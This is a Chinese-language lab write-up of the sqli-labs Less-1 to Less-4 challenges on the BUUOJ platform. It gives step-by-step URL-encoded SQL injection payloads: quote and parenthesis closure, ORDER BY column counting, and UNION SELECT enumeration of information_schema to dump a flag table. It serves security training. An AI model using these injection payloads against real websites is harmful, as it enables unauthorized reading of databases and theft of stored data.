BUUOJ-sqli_labs做题笔记

less-1 基于错误的单引号字符串

Please input the ID as parameter with numeric value

根据该提示在url输入?id=1，可以看到回显正常，试着加一个单引号，页面报错

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

可以判断出此处有sql注入漏洞。

我们试着在单引号后加上语句进行进一步判断，

http://ed81951c-65e7-418b-b283-3c1551d963ca.node4.buuoj.cn/Less-1/?id=1'and 1=1#

依旧报错，

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' LIMIT 0,1' at line 1

此时我们猜测可能是注释符号#被过滤导致，将其进行url编码#->%23

http://ed81951c-65e7-418b-b283-3c1551d963ca.node4.buuoj.cn/Less-1/?id=1'and 1=1%23

回显正常，开始在正常语句中添加SQL语句，第一步通过ordery by语句找到表中字段数，可以用二分法加快速度，最后得出字段数为3，因为

http://ed81951c-65e7-418b-b283-3c1551d963ca.node4.buuoj.cn/Less-1/?id=1%27order%20by%203%23

回显正常，

http://ed81951c-65e7-418b-b283-3c1551d963ca.node4.buuoj.cn/Less-1/?id=1%27order%20by%204%23

则会提示

Unknown column '4' in 'order clause'

对了上面的%20为空格，%27为单引号。

第二步我们用联合查找回显那一类的所有信息

http://ed81951c-65e7-418b-b283-3c1551d963ca.node4.buuoj.cn/Less-1/?id=-1%27union%20select%201,2,group_concat(schema_name)%20from%20information_schema.schemata%23

显示所有的库名

这里的group_concat()函数用于将所有符合条件的数据首尾相接，因为网页回显只会回显单一数据，需要注意的是这里的id=1我们换成了id=-1，因为如不这样网页依旧只会回显id=1的数据，而不会将所需的信息返回给我们，

接着

http://ed81951c-65e7-418b-b283-3c1551d963ca.node4.buuoj.cn/Less-1/?id=-1%27union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27ctftraining%27%23

显示可能藏着flag的表名

http://ed81951c-65e7-418b-b283-3c1551d963ca.node4.buuoj.cn/Less-1/?id=-1%27union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27flag%27%23

查藏flag的字段

最后结合以上信息，

http://ed81951c-65e7-418b-b283-3c1551d963ca.node4.buuoj.cn/Less-1/?id=-1%27union%20select%201,2,group_concat(flag)%20from%20ctftraining.flag%23

得到flag。

less-2 基于错误的get整型注入

同样?id=1'报错

我们故技重施

http://ed81951c-65e7-418b-b283-3c1551d963ca.node4.buuoj.cn/Less-2/?id=1%27and%201=1%23

报错信息为

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''and 1=1# LIMIT 0,1' at line 1

根据提示中的''and 1=1#可以了解此处本来就有单引号，只不过前台的我们看不见，因此我们不加单引号，但语句不变试试，

http://ed81951c-65e7-418b-b283-3c1551d963ca.node4.buuoj.cn/Less-2/?id=1%20and%201=1%23

回显正常

接下来，同样的步骤，先查字段，

http://ed81951c-65e7-418b-b283-3c1551d963ca.node4.buuoj.cn/Less-2/?id=1%20order%20by%203%23

同样是三字段，

然后开始三段式库，表，字段的查询，

http://ed81951c-65e7-418b-b283-3c1551d963ca.node4.buuoj.cn/Less-2/?id=-1%20union%20select%201,2,group_concat(schema_name)%20from%20information_schema.schemata%23

http://ed81951c-65e7-418b-b283-3c1551d963ca.node4.buuoj.cn/Less-2/?id=-1%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27ctftraining%27%23

最后查flag

http://ed81951c-65e7-418b-b283-3c1551d963ca.node4.buuoj.cn/Less-2/?id=-1%20union%20select%201,2,group_concat(flag)%20from%20ctftraining.flag%23

less-3 基于错误的get单引号变形字符型注入

第一步加单引号，可以看到报错信息为

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

可以判断后面语句中有‘）’因此我们需要在注入语句中使用‘）’提前将语句闭合，然后用注释符号将后面语句注释掉，

http://f7b75979-fc55-44bc-b738-e3b89eb5fbce.node4.buuoj.cn/Less-3/?id=1%27)%23

回显正常，开始查字段数

http://f7b75979-fc55-44bc-b738-e3b89eb5fbce.node4.buuoj.cn/Less-3/?id=2%27)order%20by%203%23

接着开始查库，表，字段

http://f7b75979-fc55-44bc-b738-e3b89eb5fbce.node4.buuoj.cn/Less-3/?id=-1%27)union%20select%201,2,group_concat(schema_name)%20from%20information_schema.schemata%23

http://f7b75979-fc55-44bc-b738-e3b89eb5fbce.node4.buuoj.cn/Less-3/?id=-1%27)union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27ctftraining%27%23

http://f7b75979-fc55-44bc-b738-e3b89eb5fbce.node4.buuoj.cn/Less-3/?id=-1%27)union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27flag%27%23

最后根据以上信息查flag

http://f7b75979-fc55-44bc-b738-e3b89eb5fbce.node4.buuoj.cn/Less-3/?id=-1%27)union%20select%201,2,group_concat(flag)%20from%20ctftraining.flag%23

less-4 基于错误的Get双引号字符型注入

常规单引号，回显正常，这里我们再用双引号，报错

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

好的，开始我们的常规操作，

http://f7b75979-fc55-44bc-b738-e3b89eb5fbce.node4.buuoj.cn/Less-4/?id=1%22)#

用‘）’去闭合前面的括号，但是依旧报错

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '") LIMIT 0,1' at line 1

根据回显判断是因为‘#’被过滤，因此换成%23回显正常，

开始判断字段数

http://f7b75979-fc55-44bc-b738-e3b89eb5fbce.node4.buuoj.cn/Less-4/?id=1%22)order%20by%203%23

然后库，表，字段的查询，

http://f7b75979-fc55-44bc-b738-e3b89eb5fbce.node4.buuoj.cn/Less-4/?id=-1%22)union%20select%201,2,group_concat(schema_name)%20from%20information_schema.schemata%23

http://f7b75979-fc55-44bc-b738-e3b89eb5fbce.node4.buuoj.cn/Less-4/?id=-1%22)union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%20=%27ctftraining%27%23

http://f7b75979-fc55-44bc-b738-e3b89eb5fbce.node4.buuoj.cn/Less-4/?id=-1%22)union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name%20=%27flag%27%23

最后查flag

http://f7b75979-fc55-44bc-b738-e3b89eb5fbce.node4.buuoj.cn/Less-4/?id=-1%22)union%20select%201,2,group_concat(flag)%20from%20ctftraining.flag%23